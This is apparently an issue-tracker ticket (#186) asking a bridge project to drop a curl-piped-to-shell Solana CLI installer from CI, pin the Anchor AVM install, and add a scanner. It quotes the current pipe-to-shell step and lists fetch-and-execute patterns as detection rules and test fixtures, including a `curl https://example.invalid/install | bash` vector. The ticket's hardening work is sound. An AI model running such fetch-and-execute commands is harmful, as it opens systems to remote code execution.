security(ci): stop piping Solana CLI install to shell #186

Open
opened 2026-09-12 12:54:31 +00:00 by PlasticDigits · 0 comments

Summary

.github/workflows/test.yml job contracts-solana still installs the Solana CLI by piping a remote installer into a shell. On main as of 2026-09-12:

- name: Install Solana CLI
  run: |
    sh -c "$(curl -sSfL https://release.anza.xyz/v2.2.12/install)"
    echo "$HOME/.local/share/solana/install/active_release/bin" >> $GITHUB_PATH

The URL path names a release (v2.2.12). That is not a content digest. TLS to the publisher does not pin the installer script or the binaries it later fetches. A publisher compromise, path rewrite, or CDN substitution can change what the runner executes without a git diff. The next anchor build / anchor test then runs under that toolchain.

Woodpecker is the live required check (.woodpecker.yaml from #172 / #174). That pipeline does not run this installer. The GitHub Actions workflow is still in tree, still matches packages/contracts-solana/**, and still runs on push / pull_request / workflow_dispatch if GitHub Actions is enabled on a mirror or fork.

This is not #185 (Compose image: digest pins, FE-H3). This is not #172 (Woodpecker enablement). Do not reopen those for this.

Internal review id: FE-H4 (high). Still in source 2026-09-12.

Bundle (same ticket, do not split):

  1. Remove every pipe-to-shell installer from in-repo GitHub Actions (sh -c "$(curl …)", curl … | sh, wget … | bash, and equivalents). Required for the Solana CLI step above.
  2. Replace it with a checksum-verified vendored/downloaded binary or a digest-pinned image that already contains the intended Solana CLI. Version-in-URL is not enough.
  3. Same job: stop cargo install --git https://github.com/coral-xyz/anchor avm --force without a commit SHA. Pin AVM to a git SHA or install a checksummed binary, then keep avm install 0.32.1 && avm use 0.32.1.
  4. Add a CI check (Woodpecker and, while test.yml remains, GitHub Actions) that fails if workflow YAML reintroduces pipe-to-shell.

Supply-chain / CI toolchain. No community autoland. Do not add ready.

Impact (today vs hypothetical)

Funds are not at risk today on the live bridge operator, vaults, or on-chain programs from this line alone. Woodpecker does not execute it. This is not a permissionless drain path.

Hypothetical, sticky until the installer is gone:

  • A substituted Anza install script runs as the GitHub Actions user with GITHUB_TOKEN, the checked-out tree, and the ability to write $GITHUB_PATH. That can steal the job token, poison anchor build artifacts, or ship a green anchor test on a lying toolchain.
  • Solana program tests (packages/contracts-solana) are the affected suite. A hostile solana / solana-test-validator can change BPF compilation or validator behavior so security tests pass on a lie.
  • The same job’s unpinned cargo install --git … avm --force can fetch a different AVM HEAD than reviewers expect, then install Anchor 0.32.1 through that installer.

Today vs hypothetical: the defect is in source today (pipe-to-shell). Exploitation needs control of the install URL contents or the git default branch of the AVM repo, not a mainnet call. Treat as High for autoland and community because it is a live supply-chain finding, not because vault inventory is reachable from GitHub Actions.

Do not publish a working installer-substitution recipe or a malicious AVM commit.

Invariants

  • INV-CI-SOL-1 (new): In-repo GitHub Actions and Woodpecker steps must not execute curl/wget output as a shell script (sh -c "$(curl …)", curl … | sh, wget … | bash, bash <(curl …)).
  • INV-CI-SOL-2 (new): The Solana CLI used by contracts-solana is obtained only via (a) a tarball/binary whose sha256 is committed and checked before extract/exec, or (b) a container image pinned name:tag@sha256:<64 hex>. A versioned HTTPS path is not a pin.
  • INV-CI-SOL-3 (new): AVM / Anchor CLI install is commit-pinned or checksum-pinned. cargo install --git without --rev <full sha> is forbidden in these workflows.
  • INV-CI-SOL-4 (new): CI fails closed if a workflow file reintroduces pipe-to-shell. A comment must not satisfy the check.
  • Do not change Solana program logic, Anchor.toml program IDs, or anchor test coverage in this ticket.
  • Do not weaken Woodpecker digest pins from #172 / #174. Do not fold #185 Compose image pins into this PR.

Constraints / guardrails

  • Prefer a small, reviewed install helper (e.g. scripts/ci/install-solana-cli.sh) that: downloads a documented artifact URL, checks sha256sum -c against a committed digest file, then installs to a path appended to $GITHUB_PATH. Fail closed on mismatch. Do not curl | sh as a fallback.
  • If using a digest-pinned image instead: the contracts-solana job (or a Woodpecker step, if this suite is later moved) must set container: name:tag@sha256:… (or Woodpecker image:) and must not run the Anza installer. Resolve the digest at implement time; do not invent hashes in review comments.
  • Keep Solana CLI at 2.2.12 and Anchor 0.32.1 unless packages/contracts-solana already requires a documented bump. Do not silently jump majors.
  • CI check: a small script (e.g. scripts/check_ci_no_pipe_shell.sh) that scans .github/workflows/*.yml and .woodpecker.yaml for pipe-to-shell patterns. Fail with the offending line. Ignore # comments. Do not treat curl used only for HTTP health checks (e.g. curl -sf http://localhost:…/status) as a hit.
  • Wire the script into Woodpecker (cheap grep on a digest-pinned image already in .woodpecker.yaml) and into .github/workflows/test.yml.
  • Do not expand into pinning every uses: actions/checkout@v4 SHA, Foundry toolchain tags, or cargo install cargo-audit. Those are separate surfaces (#185 already carved out GHA uses: SHA pins).
  • Do not commit registry or GitHub credentials. Do not paste live tokens.
  • Founder-required deploy / supply-chain pin. No community autoland. Do not add ready.

Relevant files

Path Why
.github/workflows/test.yml contracts-solana pipe-to-shell Solana install; unpinned cargo install --git AVM
.github/workflows/e2e.yml Confirm no second pipe-to-shell; do not mix with #185 :latest docker run
.woodpecker.yaml Live required check; add the no-pipe-shell grep; do not add the Anza installer here
scripts/ci/install-solana-cli.sh (new, if vendoring) Checksum-verified install helper
scripts/check_ci_no_pipe_shell.sh (new) Fail-closed scanner
packages/contracts-solana/Anchor.toml Pin target versions only if the install method must match; do not change program IDs
  1. Replace the Install Solana CLI step with checksum-verified download or a digest-pinned image that already has Solana 2.2.12. Commit the sha256 (or image digest) in-repo.
  2. Change AVM install to cargo install --git https://github.com/coral-xyz/anchor --rev <full 40-hex sha> avm --locked --force (or a checksummed binary). Keep avm install 0.32.1 && avm use 0.32.1.
  3. Add scripts/check_ci_no_pipe_shell.sh: scan workflow YAML; fail on pipe-to-shell; ignore comments and health-check curl.
  4. Call that script from Woodpecker and from test.yml. Do not skip it without a recorded reason in the yaml (same bar as #172’s cargo-audit skip).

Acceptance criteria

  • AC1. .github/workflows/test.yml has no sh -c "$(curl …)" (or curl … \| sh) for Solana or any other tool.
  • AC2. Solana CLI used by contracts-solana is checksum-verified or comes from a digest-pinned image. The committed digest is the pin, not the URL path v2.2.12.
  • AC3. AVM install is commit-SHA or checksum pinned. cargo install --git without --rev is gone from these workflows.
  • AC4. A CI job fails if a workflow file reintroduces pipe-to-shell (fixture or documented negative grep).
  • AC5. anchor build / anchor test --skip-build still run the existing Solana program tests when that job is executed; no program source change.
  • AC6. Woodpecker digest pins and gitleaks/operator/frontend steps from #172 / #174 are unchanged except for adding the grep step.
  • AC7. No contract, operator, or frontend runtime change.

Test plan (functional paths)

# Path Expect
T1 Grep workflows for sh -c "$(curl and curl .*\| *(ba)?sh No matches outside comments
T2 Install helper (or image) with matching digest Exit 0; solana --version is 2.2.12
T3 Helper with a wrong sha256 in the digest file Fail before exec
T4 AVM install line Contains --rev 40-hex or a checksum check
T5 scripts/check_ci_no_pipe_shell.sh on current tree after fix Exit 0
T6 Fixture workflow with the old Anza one-liner Script exit ≠ 0
T7 Health-check curl -sf http://localhost:26657/status in e2e.yml Not a false positive
T8 Woodpecker / GHA step Runs the script

Test plan (attack, hack, and abuse)

Non-exploitative. File/CI fixtures only. Do not use as an installer-substitution recipe.

# Vector Expect
A1 Reintroduce sh -c "$(curl -sSfL https://release.anza.xyz/…/install)" CI fails
A2 curl https://example.invalid/install | bash Fail
A3 Pipe-to-shell only in a # comment Pass (comment ignored)
A4 Digest file says one hash, downloaded bytes another Install helper fails; no sh of the payload
A5 cargo install --git … avm without --rev Fail the review grep / AC3
A6 Fallback || curl | sh after a failed checksum Forbidden; helper must not have that branch

Verification criteria

  • Grep: no sh -c "$(curl / curl .*\\| *(ba)?sh / wget .*\\| *(ba)?sh / bash <\\(curl in .github/workflows/ or .woodpecker.yaml outside comments.
  • Committed Solana artifact sha256 (or image @sha256:[0-9a-f]{64}) is present and referenced by the install step.
  • Script fixtures T3/T6/A1–A4.
  • Do not verify by publishing a hostile installer URL or by pointing CI at an untrusted mirror.
  • If the contracts-solana job still runs on GitHub Actions: solana --version and anchor --version match the pinned versions; existing anchor test --skip-build stays green. That is toolchain integrity, not a funds-path test.

Out of scope

  • #185 Compose image: digest pins (FE-H3).
  • #172 Woodpecker enablement / operator redeploy.
  • Pinning GitHub Actions uses: SHAs (actions/checkout@v4, foundry-rs/foundry-toolchain@v1, dtolnay/rust-toolchain@stable).
  • e2e.yml docker run … localterra-cl8y:latest (belongs with #185).
  • Cosign / SLSA provenance / GitHub Artifact Attestations as a follow-on.
  • Changing Solana program instructions, fees, or Anchor.toml program IDs.
  • Moving the full Anchor suite from GitHub Actions onto Woodpecker (optional later; not required to close FE-H4).

First-pass model recommendation

Recommendation: grok-high

Rationale: Security class (CI supply-chain, internal FE-H4 high) and founder-required deploy/keys-adjacent pinning. Composer is disallowed: High/security, not a low-risk first pass. Expected files are .github/workflows/test.yml, a checksum helper or digest-pinned image reference, and a Woodpecker/GHA grep — file count does not establish safety. A wrong pin or a leftover curl | sh fallback can reintroduce remote code execution on CI. Verify with the fail-closed scanner and digest mismatch fixtures, not by exercising a hostile installer URL.

## Summary `.github/workflows/test.yml` job `contracts-solana` still installs the Solana CLI by piping a remote installer into a shell. On `main` as of 2026-09-12: ```yaml - name: Install Solana CLI run: | sh -c "$(curl -sSfL https://release.anza.xyz/v2.2.12/install)" echo "$HOME/.local/share/solana/install/active_release/bin" >> $GITHUB_PATH ``` The URL path names a release (`v2.2.12`). That is not a content digest. TLS to the publisher does not pin the installer script or the binaries it later fetches. A publisher compromise, path rewrite, or CDN substitution can change what the runner executes without a git diff. The next `anchor build` / `anchor test` then runs under that toolchain. Woodpecker is the live required check (`.woodpecker.yaml` from [#172](https://git.cl8y.com/code/cl8y-bridge-monorepo/issues/172) / [#174](https://git.cl8y.com/code/cl8y-bridge-monorepo/pulls/174)). That pipeline does not run this installer. The GitHub Actions workflow is still in tree, still matches `packages/contracts-solana/**`, and still runs on `push` / `pull_request` / `workflow_dispatch` if GitHub Actions is enabled on a mirror or fork. This is not [#185](https://git.cl8y.com/code/cl8y-bridge-monorepo/issues/185) (Compose `image:` digest pins, FE-H3). This is not #172 (Woodpecker enablement). Do not reopen those for this. Internal review id: FE-H4 (high). Still in source 2026-09-12. Bundle (same ticket, do not split): 1. Remove every pipe-to-shell installer from in-repo GitHub Actions (`sh -c "$(curl …)"`, `curl … | sh`, `wget … | bash`, and equivalents). Required for the Solana CLI step above. 2. Replace it with a checksum-verified vendored/downloaded binary **or** a digest-pinned image that already contains the intended Solana CLI. Version-in-URL is not enough. 3. Same job: stop `cargo install --git https://github.com/coral-xyz/anchor avm --force` without a commit SHA. Pin AVM to a git SHA or install a checksummed binary, then keep `avm install 0.32.1 && avm use 0.32.1`. 4. Add a CI check (Woodpecker and, while `test.yml` remains, GitHub Actions) that fails if workflow YAML reintroduces pipe-to-shell. Supply-chain / CI toolchain. No community autoland. Do not add `ready`. ## Impact (today vs hypothetical) Funds are not at risk today on the live bridge operator, vaults, or on-chain programs from this line alone. Woodpecker does not execute it. This is not a permissionless drain path. Hypothetical, sticky until the installer is gone: - A substituted Anza install script runs as the GitHub Actions user with `GITHUB_TOKEN`, the checked-out tree, and the ability to write `$GITHUB_PATH`. That can steal the job token, poison `anchor build` artifacts, or ship a green `anchor test` on a lying toolchain. - Solana program tests (`packages/contracts-solana`) are the affected suite. A hostile `solana` / `solana-test-validator` can change BPF compilation or validator behavior so security tests pass on a lie. - The same job’s unpinned `cargo install --git … avm --force` can fetch a different AVM HEAD than reviewers expect, then install Anchor 0.32.1 through that installer. Today vs hypothetical: the defect is in source today (pipe-to-shell). Exploitation needs control of the install URL contents or the git default branch of the AVM repo, not a mainnet call. Treat as High for autoland and community because it is a live supply-chain finding, not because vault inventory is reachable from GitHub Actions. Do not publish a working installer-substitution recipe or a malicious AVM commit. ## Invariants - INV-CI-SOL-1 (new): In-repo GitHub Actions and Woodpecker steps must not execute `curl`/`wget` output as a shell script (`sh -c "$(curl …)"`, `curl … | sh`, `wget … | bash`, `bash <(curl …)`). - INV-CI-SOL-2 (new): The Solana CLI used by `contracts-solana` is obtained only via (a) a tarball/binary whose sha256 is committed and checked before extract/exec, or (b) a container image pinned `name:tag@sha256:<64 hex>`. A versioned HTTPS path is not a pin. - INV-CI-SOL-3 (new): AVM / Anchor CLI install is commit-pinned or checksum-pinned. `cargo install --git` without `--rev <full sha>` is forbidden in these workflows. - INV-CI-SOL-4 (new): CI fails closed if a workflow file reintroduces pipe-to-shell. A comment must not satisfy the check. - Do not change Solana program logic, Anchor.toml program IDs, or `anchor test` coverage in this ticket. - Do not weaken Woodpecker digest pins from #172 / #174. Do not fold [#185](https://git.cl8y.com/code/cl8y-bridge-monorepo/issues/185) Compose image pins into this PR. ## Constraints / guardrails - Prefer a small, reviewed install helper (e.g. `scripts/ci/install-solana-cli.sh`) that: downloads a documented artifact URL, checks `sha256sum -c` against a committed digest file, then installs to a path appended to `$GITHUB_PATH`. Fail closed on mismatch. Do not `curl | sh` as a fallback. - If using a digest-pinned image instead: the `contracts-solana` job (or a Woodpecker step, if this suite is later moved) must set `container: name:tag@sha256:…` (or Woodpecker `image:`) and must not run the Anza installer. Resolve the digest at implement time; do not invent hashes in review comments. - Keep Solana CLI at 2.2.12 and Anchor 0.32.1 unless `packages/contracts-solana` already requires a documented bump. Do not silently jump majors. - CI check: a small script (e.g. `scripts/check_ci_no_pipe_shell.sh`) that scans `.github/workflows/*.yml` and `.woodpecker.yaml` for pipe-to-shell patterns. Fail with the offending line. Ignore `#` comments. Do not treat `curl` used only for HTTP health checks (e.g. `curl -sf http://localhost:…/status`) as a hit. - Wire the script into Woodpecker (cheap grep on a digest-pinned image already in `.woodpecker.yaml`) and into `.github/workflows/test.yml`. - Do not expand into pinning every `uses: actions/checkout@v4` SHA, Foundry toolchain tags, or `cargo install cargo-audit`. Those are separate surfaces (#185 already carved out GHA `uses:` SHA pins). - Do not commit registry or GitHub credentials. Do not paste live tokens. - Founder-required deploy / supply-chain pin. No community autoland. Do not add `ready`. ## Relevant files | Path | Why | | --- | --- | | `.github/workflows/test.yml` | `contracts-solana` pipe-to-shell Solana install; unpinned `cargo install --git` AVM | | `.github/workflows/e2e.yml` | Confirm no second pipe-to-shell; do not mix with #185 `:latest` docker run | | `.woodpecker.yaml` | Live required check; add the no-pipe-shell grep; do not add the Anza installer here | | `scripts/ci/install-solana-cli.sh` (new, if vendoring) | Checksum-verified install helper | | `scripts/check_ci_no_pipe_shell.sh` (new) | Fail-closed scanner | | `packages/contracts-solana/Anchor.toml` | Pin target versions only if the install method must match; do not change program IDs | ## Recommended direction 1. Replace the `Install Solana CLI` step with checksum-verified download **or** a digest-pinned image that already has Solana 2.2.12. Commit the sha256 (or image digest) in-repo. 2. Change AVM install to `cargo install --git https://github.com/coral-xyz/anchor --rev <full 40-hex sha> avm --locked --force` (or a checksummed binary). Keep `avm install 0.32.1 && avm use 0.32.1`. 3. Add `scripts/check_ci_no_pipe_shell.sh`: scan workflow YAML; fail on pipe-to-shell; ignore comments and health-check `curl`. 4. Call that script from Woodpecker and from `test.yml`. Do not skip it without a recorded reason in the yaml (same bar as #172’s cargo-audit skip). ## Acceptance criteria - AC1. `.github/workflows/test.yml` has no `sh -c "$(curl …)"` (or `curl … \| sh`) for Solana or any other tool. - AC2. Solana CLI used by `contracts-solana` is checksum-verified or comes from a digest-pinned image. The committed digest is the pin, not the URL path `v2.2.12`. - AC3. AVM install is commit-SHA or checksum pinned. `cargo install --git` without `--rev` is gone from these workflows. - AC4. A CI job fails if a workflow file reintroduces pipe-to-shell (fixture or documented negative grep). - AC5. `anchor build` / `anchor test --skip-build` still run the existing Solana program tests when that job is executed; no program source change. - AC6. Woodpecker digest pins and gitleaks/operator/frontend steps from #172 / #174 are unchanged except for adding the grep step. - AC7. No contract, operator, or frontend runtime change. ## Test plan (functional paths) | # | Path | Expect | | --- | --- | --- | | T1 | Grep workflows for `sh -c "$(curl` and `curl .*\\| *(ba)?sh` | No matches outside comments | | T2 | Install helper (or image) with matching digest | Exit 0; `solana --version` is 2.2.12 | | T3 | Helper with a wrong sha256 in the digest file | Fail before exec | | T4 | AVM install line | Contains `--rev` 40-hex or a checksum check | | T5 | `scripts/check_ci_no_pipe_shell.sh` on current tree after fix | Exit 0 | | T6 | Fixture workflow with the old Anza one-liner | Script exit ≠ 0 | | T7 | Health-check `curl -sf http://localhost:26657/status` in `e2e.yml` | Not a false positive | | T8 | Woodpecker / GHA step | Runs the script | ## Test plan (attack, hack, and abuse) Non-exploitative. File/CI fixtures only. Do not use as an installer-substitution recipe. | # | Vector | Expect | | --- | --- | --- | | A1 | Reintroduce `sh -c "$(curl -sSfL https://release.anza.xyz/…/install)"` | CI fails | | A2 | `curl https://example.invalid/install \| bash` | Fail | | A3 | Pipe-to-shell only in a `#` comment | Pass (comment ignored) | | A4 | Digest file says one hash, downloaded bytes another | Install helper fails; no `sh` of the payload | | A5 | `cargo install --git … avm` without `--rev` | Fail the review grep / AC3 | | A6 | Fallback `\|\| curl \| sh` after a failed checksum | Forbidden; helper must not have that branch | ## Verification criteria - Grep: no `sh -c "$(curl` / `curl .*\\| *(ba)?sh` / `wget .*\\| *(ba)?sh` / `bash <\\(curl` in `.github/workflows/` or `.woodpecker.yaml` outside comments. - Committed Solana artifact sha256 (or image `@sha256:[0-9a-f]{64}`) is present and referenced by the install step. - Script fixtures T3/T6/A1–A4. - Do not verify by publishing a hostile installer URL or by pointing CI at an untrusted mirror. - If the `contracts-solana` job still runs on GitHub Actions: `solana --version` and `anchor --version` match the pinned versions; existing `anchor test --skip-build` stays green. That is toolchain integrity, not a funds-path test. ## Out of scope - [#185](https://git.cl8y.com/code/cl8y-bridge-monorepo/issues/185) Compose `image:` digest pins (FE-H3). - [#172](https://git.cl8y.com/code/cl8y-bridge-monorepo/issues/172) Woodpecker enablement / operator redeploy. - Pinning GitHub Actions `uses:` SHAs (`actions/checkout@v4`, `foundry-rs/foundry-toolchain@v1`, `dtolnay/rust-toolchain@stable`). - `e2e.yml` `docker run … localterra-cl8y:latest` (belongs with #185). - Cosign / SLSA provenance / GitHub Artifact Attestations as a follow-on. - Changing Solana program instructions, fees, or Anchor.toml program IDs. - Moving the full Anchor suite from GitHub Actions onto Woodpecker (optional later; not required to close FE-H4). ## First-pass model recommendation Recommendation: grok-high Rationale: Security class (CI supply-chain, internal FE-H4 high) and founder-required deploy/keys-adjacent pinning. Composer is disallowed: High/security, not a low-risk first pass. Expected files are `.github/workflows/test.yml`, a checksum helper or digest-pinned image reference, and a Woodpecker/GHA grep — file count does not establish safety. A wrong pin or a leftover `curl | sh` fallback can reintroduce remote code execution on CI. Verify with the fail-closed scanner and digest mismatch fixtures, not by exercising a hostile installer URL.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
code/cl8y-bridge-monorepo#186
No description provided.